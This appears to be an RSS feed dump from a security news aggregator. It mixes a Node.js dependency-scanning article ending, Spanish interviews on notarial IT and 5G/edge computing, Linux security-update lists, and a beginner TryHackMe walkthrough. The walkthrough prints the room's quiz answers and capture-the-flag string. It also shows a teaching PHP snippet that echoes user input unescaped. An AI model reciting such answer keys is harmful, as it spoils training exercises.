<p>Node.js does not need more theatrical security output. It needs better developer workflow infrastructure. It needs tools that can give clear, immediate, low-friction answers while there is still time to act. It needs tools that make dependency risk visible in the same place where dependency decisions are made.</p>



<p>A local-first, lockfile-aware workflow points in that direction.</p>



<p>And if the goal is to make dependency security a real part of everyday software engineering practice, then local-first lockfile scanning should stop being treated as a niche extra. It should become a normal part of the developer toolchain.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Carles Llach: “La tecnología ha generado unas eficiencias enormes en el notariado”]]></title>
<description><![CDATA[El notariado en España, tal y como ahora lo conocemos, se remonta a una normativa de 1862, que unificó las cosas en una profesión en la que, en realidad, se puede retroceder hasta la Edad Media. Casi se podría decir que siempre han estado presentes, lo que deja tras de sí una rica historia. Tambi...]]></description>
<link>https://tsecurity.de/de/3455490/it-nachrichten/carles-llach-la-tecnologa-ha-generado-unas-eficiencias-enormes-en-el-notariado/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3455490/it-nachrichten/carles-llach-la-tecnologa-ha-generado-unas-eficiencias-enormes-en-el-notariado/</guid>
<pubDate>Wed, 22 Apr 2026 18:17:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El notariado en España, tal y como ahora lo conocemos, se remonta a una normativa de 1862, que unificó las cosas en una profesión en la que, en realidad, se puede retroceder hasta la Edad Media. Casi se podría decir que siempre han estado presentes, lo que deja tras de sí una rica historia. También empuja a que la ciudadanía asocie el notariado a montañas de papel, a documentos <em>tangibles</em> que siguen una larguísima tradición analógica. Y, sin embargo, la profesión lleva <a href="https://www.cio.com/article/2072076/en-espana-los-notarios-somos-digitales-desde-hace-20-anos.html">décadas digitalizándose</a> y cuenta con su propio Centro Tecnológico del Notariado. Hasta se podría decir que fueron pioneros.</p>



<p>La aprobación de la normativa que reguló la firma electrónica notarial en 2001 creó un marco normativo favorable para la digitalización del sector, que además supo ver el potencial de la transformación tecnológica. “El notariado hace una apuesta por la tecnología creando el Centro Tecnológico del Notariado a finales del año 2002”, explica en una entrevista con CIO ESPAÑA <strong>Carles Llach, director de Tecnologías del Centro Tecnológico del Notariado</strong>. El Consejo General del Notariado (CGN) quería que este centro fuese “el proveedor de tecnología para toda la corporación notarial: los 17 colegios notariales, 2800 notarios y 18000 empleados”.</p>



<p>“Nos dedicamos a implementar y desarrollar soluciones para fortalecer la función pública del notariado con la ciudadanía, pero también es muy importante la colaboración con la administración pública y otras entidades clave del mercado”, asegura. Ahora, en el Centro cuenta con sedes en Sant Cugat del Vallés (Barcelona) y Madrid, en las que trabajan 450 personas, responsables de proveer al notariado de las soluciones TI necesarias para que todo fluya.</p>



<h2 class="wp-block-heading">La innovación en la que trabajan</h2>



<p>Pero ¿para qué necesitan toda esta innovación tecnológica las notarías? “En muchos casos, por cuestiones de cumplimiento del notario hacia la administración pública”, apunta Llach. “El notario es un sujeto de obligado cumplimiento en cuanto a prevención de blanqueo de capitales”, ejemplifica partiendo de una de sus muchas obligaciones, la persona que permite saber quién es el titular real de una sociedad. “Esto no sería posible sin que hubiera una tecnología que permitiera hacer este tipo de consultas”, indica.</p>



<p>“También está obligado a la cumplimentación del Índice Único Informatizado. De hecho, es uno de los primeros cumplimientos a los que se tiene que enfrentar el notario en el año 2004, una vez creada la sociedad”, señala. El Índice recompila la información para la administración central. “Antes de que existiera, cada notaría facilitaba esta información al colegio notarial y administración pública en general. No había una calidad homogénea”, señala Llach. Al informatizase, “esta información se centraliza” y surge “toda la capacidad de establecer criterios homogéneos”. Los datos pasan a ser homogéneos y su calidad sube, pero también se reducen los tiempos. “Esta base de datos permite sistematizar comunicaciones”, indica el experto. Una muestra es el catastro. “Ahora, cuando vas a una notaría y realizas un acto de compraventa se lanza directamente una comunicación a catastro que, ya a partir de eso, efectúa el cambio de titularidad de esa finca”, explica.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/Image20260226160717.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Centro Tecnológico del Notariado" class="wp-image-4162136" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Centro Tecnológico del Notariado</p></div>



<p>La digitalización también ha permitido afrontar de forma más eficiente otras obligaciones que ha asumido el notariado, como bodas o divorcios. “Estas nuevas atribuciones van acompañadas de una digitalización para dar herramientas para que puedan efectuarlas”, afirma Llach, que confirma que, evidentemente, en las notarías se hace mucho más que firmar papeles.</p>



<p>La plataforma SIGNO (Sistema Integrado de Gestión Notarial) es, desde 2007, la solución TI que cubre todas esas necesidades. “Esta plataforma aporta valor a tres actores”, indica Lach. Son el propio notariado, la administración pública y la ciudadanía. “El notario, para hacer su trabajo más eficiente. Tiene un punto único desde el cual puede interactuar con la administración pública y la empresa privada, para sus funciones de función pública y también de función privada”. Todo está centralizado, va más rápido y se gana en eficiencia evitando errores. La información “se dispara hacia la administración pública”, lo que simplifica cuestiones como el cobro de impuestos, y la ciudadanía puede resolver en una “gestión integral” todas las cuestiones relacionadas con sus escrituras.</p>



<p>Sin tecnología, el día a día en una notaría “seguramente sería poco eficiente”, confirma Llach. “Para dar cumplimiento a todas esas obligaciones, la notaría necesitaría mucho más personal, los tiempos serían más largos y la colaboración con la administración pública se realizaría, pero de una forma muy poco eficiente”. “Creo que al final la tecnología en este ámbito, como en todos, ha generado unas eficiencias enormes”, asegura el directivo.</p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“Apostamos por la IA, pero por una IA supervisada”</em></strong></p></blockquote></figure>



<h2 class="wp-block-heading">Tecnología hecha en España</h2>



<p>Ahora que la soberanía tecnológica, la dependencia y la innovación propia se están convirtiendo en temas de moda, no eran cuestiones sobre las que se hablase mucho en 2002. Y, sin embargo, el Centro fue pionero en estos terrenos posiblemente sin saberlo. Desde un primer momento, el Centro Tecnológico del Notariado trabajó con tecnología propia. Sus herramientas se desarrollan en sus centros de trabajo en España.</p>



<p>“Esa apuesta del notariado por la tecnología y por la creación de un centro tecnológico propio fue un acierto muy grande”, confirma Llach. “Tener una empresa que piensa en la tecnología para el notariado es un valor enorme”, suma. Hacerlo así les dio desde el primer momento control en cuestiones de gobernanza, pero también les permitió solventar sus necesidades concretas. “Es un sector tan vertical, algo tan específico, que no existen un equivalente de los productos que hemos desarrollado, como la plataforma SIGNO, en otro lugar. Son cosas que hemos tenido que desarrollar desde cero”, indica Llach. Aunque han hecho alguna colaboración puntual con terceras empresas, lo cierto es que apuestan por “personal propio que desarrolle, que administre los centros de procesos de datos y desarrollos específicos”.</p>



<p>Esto les ha permitido convertirse en un referente, al que visitan colegios notariales de otros países para comprender cómo pueden hacer su propia modernización.</p>



<h2 class="wp-block-heading">Retos en transformación digital</h2>



<p>Al tiempo, el Centro no se queda al margen de las grandes cuestiones que marcan la agenda en tecnología para el resto de sectores. “La ciberseguridad es un reto, una amenaza que está ahí y cada vez más presente”, responde Llach. Llach confirma que esto es algo que tienen presente y en lo que llevan “mucho tiempo”, tanto protegiendo el dato centralizado que salvaguardan en el Centro como en las notarías. “Al final no dejan de ser 2800 despachos profesionales repartidos por todo el territorio. Y eso es un reto. Esa gran granularidad que es beneficiosa para la ciudadanía (porque muy cerca todos tenemos a un notario), desde el punto de vista técnico supone un reto para cubrir en el aspecto de ciberseguridad”, indica.</p>



<p>La IA es aquí un arma de doble filo, porque permite generar ataques, pero también adelantarse a ellos señalando “agujeros”. No es el único potencial. Llach señala que están atentos a lo que permite la inteligencia artificial y a sus posibles eficiencias. “Apostamos por la IA, pero por una IA supervisada”, asegura.</p>



<p>Por ejemplo, ayuda potencialmente con la extracción de datos y permite reducir errores o mejorar la transparencia. Es algo en lo que trabajan y sobre lo que Llach insiste en que no es una cuestión de laboratorio, sino algo que están testeando en 400 notarias y que quieren extender progresivamente al resto. “Vemos aplicaciones de la IA en muchos ámbitos, como la asistencia telefónica, clasificar documentación de bajo riesgo jurídico o detección de inconsistencia”. Las palabras de Llach dejan claro que la IA puede convertirse en una suerte de red de seguridad.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (freerdp, kernel, and kernel-rt), Debian (mupdf, opam, simpleeval, and xdg-dbus-proxy), Mageia (firefox, thunderbird and libtiff), Red Hat (containernetworking-plugins, gvisor-tap-vsock, nodejs22, nodejs:20, nodejs:22, perl-XML-Parser, python3.11, py...]]></description>
<link>https://tsecurity.de/de/3451650/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3451650/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 21 Apr 2026 15:22:41 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (freerdp, kernel, and kernel-rt), <b>Debian</b> (mupdf, opam, simpleeval, and xdg-dbus-proxy), <b>Mageia</b> (firefox, thunderbird and libtiff), <b>Red Hat</b> (containernetworking-plugins, gvisor-tap-vsock, nodejs22, nodejs:20, nodejs:22, perl-XML-Parser, python3.11, python3.9, runc, and skopeo), and <b>SUSE</b> (bind, buildah, cockpit-subscriptions, container-suseconnect, containerd, corosync, cosign, docker, dovecot24, flatpak, freeipmi, gegl, GraphicsMagick, helm, ImageMagick, kubernetes, kubernetes-old, libpng15, LibVNCServer, ncurses, nodejs22, opensc, openvswitch, patterns-glibc-hwcaps, podman, python, python310, python312, python315, rekor, rootlesskit, roundcubemail, and runc).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (.NET 10.0, .NET 8.0, .NET 9.0, delve, freerdp, giflib, go-rpm-macros, libarchive, and openexr), Debian (gimp, imagemagick, luanti, mapserver, mupdf, opam, perl, pillow, postgresql-13, and tiff), Fedora (aqualung, awstats, curl, incus, mac, mbedtls, ...]]></description>
<link>https://tsecurity.de/de/3448469/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3448469/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 20 Apr 2026 15:41:55 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (.NET 10.0, .NET 8.0, .NET 9.0, delve, freerdp, giflib, go-rpm-macros, libarchive, and openexr), <b>Debian</b> (gimp, imagemagick, luanti, mapserver, mupdf, opam, perl, pillow, postgresql-13, and tiff), <b>Fedora</b> (aqualung, awstats, curl, incus, mac, mbedtls, mingw-LibRaw, python-msal, python3.11, python3.12, python3.15, smb4k, stb, and usd), <b>Gentoo</b> (DTrace and FUSE), <b>Mageia</b> (gdk-pixbuf2.0, giflib, polkit-122, python-cairosvg, and rsync), <b>Oracle</b> (.NET 10.0, .NET 8.0, .NET 9.0, 389-ds-base, bind, freerdp, go-rpm-macros, kernel, libarchive, nodejs:20, openexr, perl:5.32, python, python3, squid:4, thunderbird, and uek-kernel), <b>Slackware</b> (tigervnc), and <b>SUSE</b> (aardvark-dns, avahi, bind, blender, Botan, bouncycastle, chromedriver, cpp-httplib-devel, flannel, gdk-pixbuf, GraphicsMagick, ignition, ImageMagick, jetty-annotations, jetty-minimal, kernel, kubo, leancrypto-devel, libcap, liblog4cxx-devel, libpng16-16, libraw, libraw-devel, NetworkManager, opam, openssl-3, openvswitch, openvswitch3, podman, polkit, python-cryptography, python-djangorestframework, python-Django, python-ecdsa, python311-Django, python311-jwcrypto, python311-Pillow, roundcubemail, skopeo, tempo-cli, and vim).]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe Putting It All Together Walkthrough]]></title>
<description><![CDATA[Putting it all together — TryHackMe WriteUpLearn how all the individual components of the web work together to bring you access to your favourite web sites.Room Link: https://tryhackme.com/room/puttingitalltogetherTask 1. Putting It All TogetherFrom the previous modules, you’ll have learned that ...]]></description>
<link>https://tsecurity.de/de/3447768/hacking/tryhackme-putting-it-all-together-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3447768/hacking/tryhackme-putting-it-all-together-walkthrough/</guid>
<pubDate>Mon, 20 Apr 2026 11:21:22 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Putting it all together — TryHackMe WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AssJecFUNiHoVCD1d60qfg.png"></figure><p>Learn how all the individual components of the web work together to bring you access to your favourite web sites.</p><p>Room Link: <a href="https://tryhackme.com/room/puttingitalltogether">https://tryhackme.com/room/puttingitalltogether</a></p><h3>Task 1. Putting It All Together</h3><p>From the previous modules, you’ll have learned that quite a lot of things go on behind the scenes when you request a webpage in your browser.</p><p>To summarise, when you request a website, your computer needs to know the server’s IP address it needs to talk to; for this, it uses DNS. Your computer then talks to the web server using a special set of commands called the HTTP protocol; the webserver then returns HTML, JavaScript, CSS, Images, etc., which your browser then uses to correctly format and display the website to you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w0W5E0M9IxRvfTix"></figure><p>There are also a few other components that help the web run more efficiently and provide extra features.</p><p>Answer the questions below</p><h4>I’ve read this…</h4><pre>No answer needed</pre><h3>Task 2. Other Components</h3><p><strong>Load Balancers</strong></p><p>When a website’s traffic starts getting quite large or is running an application that needs to have high availability, one web server might no longer do the job. Load balancers provide two main features, ensuring high traffic websites can handle the load and providing a failover if a server becomes unresponsive. When you request a website with a load balancer, the load balancer will receive your request first and then forward it to one of the multiple servers behind it. The load balancer uses different algorithms to help it decide which server is best to deal with the request. A couple of examples of these algorithms are round-robin, which sends it to each server in turn, or weighted, which checks how many requests a server is currently dealing with and sends it to the least busy server.</p><p>Load balancers also perform periodic checks with each server to ensure they are running correctly; this is called a health check. If a server doesn’t respond appropriately or doesn’t respond, the load balancer will stop sending traffic until it responds appropriately again.</p><p><strong>CDN (Content Delivery Networks)</strong></p><p>A CDN can be an excellent resource for cutting down traffic to a busy website. It allows you to host static files from your website, such as JavaScript, CSS, Images, Videos, and host them across thousands of servers all over the world. When a user requests one of the hosted files, the CDN works out where the nearest server is physically located and sends the request there instead of potentially the other side of the world.</p><p><strong>Databases</strong></p><p>Often websites will need a way of storing information for their users. Webservers can communicate with databases to store and recall data from them. Databases can range from just a simple plain text file up to complex clusters of multiple servers providing speed and resilience. You’ll come across some common databases: MySQL, MSSQL, MongoDB, Postgres, and more; each has its specific features.</p><p><strong>WAF (Web Application Firewall)</strong></p><p>A WAF sits between your web request and the web server; its primary purpose is to protect the webserver from hacking or denial of service attacks. It analyses the web requests for common attack techniques, whether the request is from a real browser rather than a bot. It also checks if an excessive amount of web requests are being sent by utilising something called rate limiting, which will only allow a certain amount of requests from an IP per second. If a request is deemed a potential attack, it will be dropped and never sent to the webserver.</p><p>Answer the questions below</p><h4>What can be used to host static files and speed up a clients visit to a website?</h4><pre>CDN</pre><h4>What does a load balancer perform to make sure a host is still alive?</h4><pre>health check</pre><h4>What can be used to help against the hacking of a website?</h4><pre>WAF</pre><h3>Task 3. How Web Servers Work</h3><h4><strong>How Web servers work.</strong></h4><p><strong>What is a Web Server?</strong></p><p>A web server is a software that listens for incoming connections and then utilises the HTTP protocol to deliver web content to its clients. The most common web server software you’ll come across is Apache, Nginx, IIS and NodeJS. A Web server delivers files from what’s called its root directory, which is defined in the software settings. For example, Nginx and Apache share the same default location of /var/www/html in Linux operating systems, and IIS uses C:\inetpub\wwwroot for the Windows operating systems. So, for example, if you requested the file <a href="http://www.example.com/picture.jpg(opens">http://www.example.com/picture.jpg(opens</a> in new tab), it would send the file /var/www/html/picture.jpg from its local hard drive.</p><p><strong>Virtual Hosts</strong></p><p>Web servers can host multiple websites with different domain names; to achieve this, they use virtual hosts. The web server software checks the hostname being requested from the HTTP headers and matches that against its virtual hosts (virtual hosts are just text-based configuration files). If it finds a match, the correct website will be provided. If no match is found, the default website will be provided instead.</p><p>Virtual Hosts can have their root directory mapped to different locations on the hard drive. For example, one.com(opens in new tab) being mapped to /var/www/website_one, and two.com(opens in new tab) being mapped to /var/www/website_two</p><p>There’s no limit to the number of different websites you can host on a web server.</p><p><strong>Static Vs Dynamic Content</strong></p><p>Static content, as the name suggests, is content that never changes. Common examples of this are pictures, javascript, CSS, etc., but can also include HTML that never changes. Furthermore, these are files that are directly served from the webserver with no changes made to them.</p><p>Dynamic content, on the other hand, is content that could change with different requests. Take, for example, a blog. On the homepage of the blog, it will show you the latest entries. If a new entry is created, the home page is then updated with the latest entry, or a second example might be a search page on a blog. Depending on what word you search, different results will be displayed.</p><p>These changes to what you end up seeing are done in what is called the Backend with the use of programming and scripting languages. It’s called the Backend because what is being done is all done behind the scenes. You can’t view the websites’ HTML source and see what’s happening in the Backend, while the HTML is the result of the processing from the Backend. Everything you see in your browser is called the Frontend.</p><p><strong>Scripting and Backend Languages</strong></p><p>There’s not much of a limit to what a backend language can achieve, and these are what make a website interactive to the user. Some examples of these languages (in no particular order :p) are PHP, Python, Ruby, NodeJS, Perl and many more. These languages can interact with databases, call external services, process data from the user, and so much more. A very basic PHP example of this would be if you requested the website <a href="http://example.com/index.php?name=adam(opens">http://example.com/index.php?name=adam(opens</a> in new tab)</p><p>(opens in new tab) If index.php was built like this:</p><p>&lt;html&gt;&lt;body&gt;Hello &lt;?php echo $_GET["name"]; ?&gt;&lt;/body&gt;&lt;/html&gt;</p><p>It would output the following to the client:</p><p>&lt;html&gt;&lt;body&gt;Hello adam&lt;/body&gt;&lt;/html&gt;</p><p>You’ll notice that the client doesn’t see any PHP code because it’s on the Backend. This interactivity opens up a lot more security issues for web applications that haven’t been created securely, as you learn in further modules.</p><p>Answer the questions below</p><h4>What does web server software use to host multiple sites?</h4><pre>Virtual Hosts</pre><h4>What is the name for the type of content that can change?</h4><pre>Dynamic</pre><h4>Does the client see the backend code? Yay/Nay</h4><pre>Nay</pre><h3>Task 4. Quiz</h3><p><strong>The Quiz</strong></p><p>Click the “View Site” button on the right. Using everything you’ve learnt from the other modules, drag and drop the tiles into the correct order of how a request to a website works to reveal the flag.</p><p>Note: When placing a tile in the correct position, it will highlight in green. When a tile is in the wrong spot, it will highlight in red. Make sure not to refresh the page, as it will reset the tiles all to blank again!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/0*rRI9IMrHFPlT-aK1"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/0*lv7hsH_tekfTL_ue"></figure><h3>Flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/0*ZPf_XW2qwCpFsoAq"></figure><pre>THM{YOU_GOT_THE_ORDER}</pre><blockquote><em>Thanks for reading. I hope this walkthrough was helpful.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e4ba47377ac3" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-putting-it-all-together-walkthrough-e4ba47377ac3">TryHackMe Putting It All Together Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mexico May Introduce Age Verification to Operating Systems]]></title>
<description><![CDATA[submitted by    /u/Alexis_Almendair   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3445322/linux-tipps/mexico-may-introduce-age-verification-to-operating-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3445322/linux-tipps/mexico-may-introduce-age-verification-to-operating-systems/</guid>
<pubDate>Sun, 19 Apr 2026 04:52:38 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/Alexis_Almendair"> /u/Alexis_Almendair </a> <br> <span><a href="https://sil.gobernacion.gob.mx/Archivos/Documentos/2025/12/asun_5002266_20251217_1766074249.pdf?hl=es-MX">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1spgxm2/mexico_may_introduce_age_verification_to/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[No sólo IA marca la transformación digital de los sectores clave]]></title>
<description><![CDATA[Sí, la inteligencia artificial (IA) está ahí, pero todo lo que se trató ayer en cuanto a su desarrollo en el CIO ForwardTech & ThreatScape Spain celebrado en Madrid no sería posible sin infraestructuras como el 5G, las comunicaciones, la computación en el edge y los modelos cloud.



El último pa...]]></description>
<link>https://tsecurity.de/de/3442273/it-nachrichten/no-slo-ia-marca-la-transformacin-digital-de-los-sectores-clave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3442273/it-nachrichten/no-slo-ia-marca-la-transformacin-digital-de-los-sectores-clave/</guid>
<pubDate>Fri, 17 Apr 2026 16:03:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Sí, la inteligencia artificial (IA) está ahí, pero todo lo que se trató ayer en cuanto a su desarrollo en el CIO ForwardTech &amp; ThreatScape Spain celebrado en Madrid no sería posible sin infraestructuras como el 5G, las comunicaciones, la computación en el <em>edge</em> y los modelos <em>cloud</em>.</p>



<p>El último panel de la jornada contó con la participación de<strong> Israel Devesa, director general digital &amp; tecnólogo del Grupo Aldesa; Carlos Garriga, CIO del IE Business School; Rubén Andrés Priego, director general de Tecnología, Operaciones e Innovación de Singular Bank; y Esther Macías, responsable editorial de Foundry España.</strong> Empresas las tres primeras muy diferentes, pero en las que aquellas tecnologías mencionadas juegan un papel fundamental.</p>



<p>Israel Devesa comenzó su intervención centrándose en la parte pública y en cómo se comunica la evolución del ámbito energético. “Resulta clave explicar de forma clara cómo se está transformando este sector. El enfoque tradicional, bastante centralizado, de la red eléctrica en cuanto a cómo debe producirse la energía dentro de España, está evolucionando hacia un modelo más distribuido, donde cobra importancia el <em>edge</em>. En este contexto, es fundamental contar con infraestructuras capaces de analizar la información en tiempo real directamente en el borde. En nuestro caso, los aerogeneradores o los paneles solares producen una enorme cantidad de datos que generan activos, a partir de los que se toman decisiones relacionadas con la producción, su optimización o incluso el movimiento de activos. Por tanto, no toda la información debe viajar a sistemas centrales; muchas decisiones deben tomarse localmente para ganar rapidez y eficiencia. Este es un claro ejemplo de cómo el 5G y el <em>cloud computing</em> forman un conjunto indivisible en la forma de gestionar la información dentro de las organizaciones”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/GARPRESS-00904.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Grupo Aldesa" class="wp-image-4160367" width="1024" height="684" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Israel Devesa, director general digital &amp; tecnólogo del Grupo Aldesa</p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry.</p></div>



<p>Por su parte, Rubén Andrés Priego centró su análisis en dos vertientes. La primera que destacó es el desarrollo de soluciones basadas en los nuevos DNI electrónicos con tecnología NFC en el ámbito de la banca digital y el <em>onboarding</em>. “Este sistema permite, mediante un simple contacto con el móvil, leer los datos del documento, incluyendo certificados validados por la Policía Nacional, así como la imagen del DNI. Esto supone un cambio significativo respecto a los procesos tradicionales, que requerían grabar vídeos, tomar fotografías y pasar por validaciones manuales por parte de equipos de operaciones”, explicó.</p>



<p>En segundo lugar, citó la telemetría. “A través de los dispositivos móviles es posible recoger información comportamental sobre cómo operan los usuarios. Esto permite detectar situaciones anómalas, como operaciones que cambian de localización de forma imposible en pocos segundos, o identificar si la interacción la realiza un humano o una máquina. Gracias a esta información, se pueden ajustar dinámicamente los niveles de seguridad, reduciendo la fricción para el usuario en situaciones normales y reforzando los controles cuando se detecta un mayor riesgo”, añadió.</p>



<p>Por su parte, Carlos Garriga puso como ejemplo cómo la torre del IE Business School está sensorizada para detectar cómo es el uso de los espacios en el día a día. Casi monitorizas experiencias. “Esto empezó con el COVID, pues permitió repensar y redefinir aulas y procesos”.</p>



<p>En cuanto al 5G y <em>edge</em>, Garriga puso ejemplos como las gafas de realidad virtual para toda la actividad académica, “que permite llevar la educación a una nueva dimensión”.</p>



<h2 class="wp-block-heading">La importancia de las conexiones satelitales</h2>



<p>Preguntado por la cuestión, Priego explicó que “tras el corte eléctrico del año pasado, los centros de datos continuaron funcionando con normalidad, pero las oficinas físicas se quedaron sin conexión a internet. Como respuesta, se desplegó la solución de Starlink basada en conectividad satelital en toda la red de oficinas y sedes centrales. Esto permitió garantizar la resiliencia del sistema, mantener la operatividad en situaciones críticas y explorar soluciones combinadas de conectividad y autonomía energética”.</p>



<p>En este sentido, Devesa añadió lo importante que es contar con conectividad cuando el 5G falla. “En entornos de obra, que suelen estar en ubicaciones remotas, la conectividad es un reto clave para integrar sistemas, monitorizar operaciones y garantizar la seguridad. A diferencia de entornos urbanos, estas zonas carecen de infraestructuras como fibra o red estable, lo que dificulta la comunicación. Para resolverlo, se recurre cada vez más a soluciones como redes satelitales de baja órbita (por ejemplo, Starlink), que permiten mantener la conectividad durante largos periodos. Además, existe una complejidad adicional en el ámbito OT frente a IT, debido al uso de protocolos menos estandarizados como Modbus, lo que exige soluciones y equipos especializados”, por lo que “en este contexto, el principal desafío del 5G no es la tecnología en sí, sino su despliegue en este tipo de entornos”, añadió.</p>



<p>¿Se puede vivir sin 5G?, preguntó Esther Macías a Carlos Garriga. “Más que el 5G en sí, lo crítico son sus capacidades, especialmente la baja latencia, que resulta esencial para aplicaciones como IoT o experiencias inmersivas, donde el tiempo de respuesta es clave”, respondió.</p>



<p>De igual manera, también quiso dar su opinión en cuanto a comunicaciones satelitales, aunque reconoció que “aún no están completamente desplegadas” en el IES Business School, “han cobrado relevancia tras situaciones de crisis, donde garantizar la continuidad de la comunicación y la toma de decisiones es fundamental, especialmente para mantener informados a equipos y usuarios”.</p>



<p>“En este contexto —dijo para concluir su opinión en este sentido—, soluciones emergentes como el 5G satelital directo a dispositivos se están explorando como una opción eficaz para asegurar la conectividad de personal crítico y la continuidad operativa, incluso en escenarios adversos”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/GARPRESS-00860.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Singular Bank" class="wp-image-4160372" width="1024" height="684" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A la derecha, Rubén Andrés Priego, director general de Tecnología, Operaciones e Innovación de Singular Bank.</p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry.</p></div>



<h2 class="wp-block-heading">Con la ciberseguridad hemos topado</h2>



<p>Israel Devesa certificó que la ciberseguridad es fundamental en este mundo de conexiones.</p>



<p>“La ciberseguridad se ha convertido en una preocupación creciente en el sector energético, especialmente tras incidentes recientes que evidencian la vulnerabilidad de las infraestructuras. En entornos como parques eólicos o fotovoltaicos, donde la operación es cada vez más remota, aumenta la exposición al riesgo, ya que el acceso a sistemas críticos se realiza a distancia”.</p>



<p>“A diferencia de otros sectores —precisó—, el ámbito OT ha ido más rezagado que IT en materia de seguridad, pero esto está cambiando, impulsado en gran parte por nuevas regulaciones que exigen mayores niveles de protección y responsabilidad, incluso a nivel de dirección”.</p>



<p>En opinión de Devesa, aunque históricamente la inversión en ciberseguridad en renovables ha sido muy baja, la creciente conciencia del riesgo y el cambio regulatorio están impulsando un aumento progresivo. “La ciberseguridad pasa así de ser un aspecto secundario a convertirse en un elemento clave y estratégico dentro de las organizaciones del sector energético”, dijo.</p>



<p>En este caso concreto, Rubén Andrés Priego reconoció que su compañía está apostando con fuerza por la inteligencia artificial, con soluciones como asistentes basados en modelos de lenguaje para apoyar a los banqueros, que ya muestran una alta adopción en el día a día. Sin embargo, estos modelos presentan limitaciones en términos de disponibilidad y fiabilidad, lo que puede suponer un riesgo, especialmente en situaciones críticas como la interacción directa con clientes. Por ello, se plantea el uso de <em>edge computing</em> para desplegar modelos en local, reduciendo la dependencia de sistemas externos y mejorando la resiliencia y la continuidad del negocio. Además, se destaca que muchas tareas específicas podrían resolverse mejor con modelos locales en lugar de modelos generalistas, optimizando así el rendimiento y la eficiencia”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/GARPRESS-00845.jpg?quality=50&amp;strip=all&amp;w=1024" alt="IE Business School" class="wp-image-4160369" width="1024" height="684" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Carlos Garriga, CIO del IE Business School</p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry.</p></div>



<h2 class="wp-block-heading">El papel de la tecnología en el desarrollo de los sectores</h2>



<p>Para finalizar el panel, Esther Macías preguntó a estos tres expertos por el papel que tendrá la tecnología en el desarrollo de los sectores donde están enclavadas sus empresas, así como su propia función.</p>



